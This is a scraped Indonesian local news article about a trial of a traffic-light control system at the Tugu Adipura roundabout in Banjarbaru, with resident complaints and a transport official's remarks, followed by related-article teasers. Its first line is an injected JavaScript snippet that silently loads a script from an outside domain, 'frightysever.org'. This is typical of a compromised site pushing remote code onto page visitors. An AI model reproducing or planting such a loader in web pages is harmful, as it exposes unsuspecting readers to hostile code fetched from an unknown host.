(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Area Traffic Control System (ATCS) di kawasan Tugu Adipura Kota Banjarbaru akan berfungsi normal selama beberapa minggu ke depan.
ATCS yang dipasang memakai dengan sistem Smart APILL (Alat Pemberi Isyarat Lalu Lintas), saat ini sedang dilakukan uji coba oleh Dinas Perhubungan (Dishub) Kota Banjarbaru dengan fase tiga setengah.
Dalam fase tiga setengah ATCS di ruas Jalan Ahmad Yani arah Banjarbaru-Banjarmasin maupun sebaliknya akan bergerak sama. Begitu pula ketika belok kanan, pengendara diarahkan tanpa harus memutar Tugu Adipura.
Sementara ATCS di ruas Jalan Pangeran Suriansyah-rumah dinas Wali Kota Banjarbaru dan Jalan Nangka arah Kolam Renang Idaman masih memakai empat fase.
Salah seorang warga Banjarbaru, Fany mengatakan sudah beberapa kali melewati kawasan traffic light baru ini.
Baca juga: Sekda Roy Rizali Beri Kesaksian di Sidang Korupsi Proyek PUPR Kalsel
Menurut Fany, pada masa uji coba ini masyarakat belum begitu paham maksud dan tujuannya dibuatnya traffic light di sana. Sistem yang digunakan pun masih membuat dirinya bingung.
“Lalu ada yang mengeluh mungkin karena satu kurang sosialisasi dan juga masih baru, mungkin nanti akan berproses dan terbantu. Tapi banyak ngeluhnya sih untuk sementara,” ujar warga Batas Kota Banjarbaru, saat diwawancarai Kanalkalimantan.com, Kamis (16/1/2025) sore.
Dirinya mengaku banyak keluhan yang didapati terkait adanya ATCS ini. Salah satu keluhan ia sampaikan mengapa dibuat ATCS di situ padahal bukan titik kemacetan.
“Saya sendiri bingung sih kenapa harus di sini ada lampu merahnya, padahal di sini bukan titik kemacetan, titik kemacetan misalnya di Jalan Trikora justru malah di situ menurut saya,” ungkapnya.
Baca juga: Bupati Banjar Apresiasi Program-program Pemuda Muhammadiyah
Masyarakat pun katanya tidak disosialisasikan terkait alasan mengapa ATCS ini diletakkan di kawasan Tugu Adipura.
Di sisi lain, menurutnya waktu tunggu lampu merah di Tugu Adipura ini lebih cepat dibandingkan lampu merah di Jalan Panglima Batur.
Dirinya menyayangkan Tugu Adipura membuat fungsi dan pengaturan ATCS yang diberlakukan semakin membingungkan.
“Jadi aneh fungsinya karena kita kan memotong sebelum tugu, biasanya melewati bundaran dulu, jadi aneh saja fungsi dan pengaturannya,” imbuhnya.
Baca juga: Rapat Evaluasi Pasca Pilkada 2024, Ini Kata Sekda HSU
Sementara Kepala Bidang (Kabid) Pengembangan dan Keselamatan Dishub Banjarbaru, Rachmat Hidayat menyampaikan bahwa uji coba ATCS Tugu Adipura akan terus dilaksanakan setiap hari hingga satu bulan ke depan.
“Namun kita terus evaluasi per hari per minggunya sampai satu bulan, mungkin kita akan pasang imbauan,” ujar Rachmat Hidayat.
Jika dalam uji coba fase yang digunakan tidak efektif dalam beberapa hari berjalan akan mengubah fase yang digunakan. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.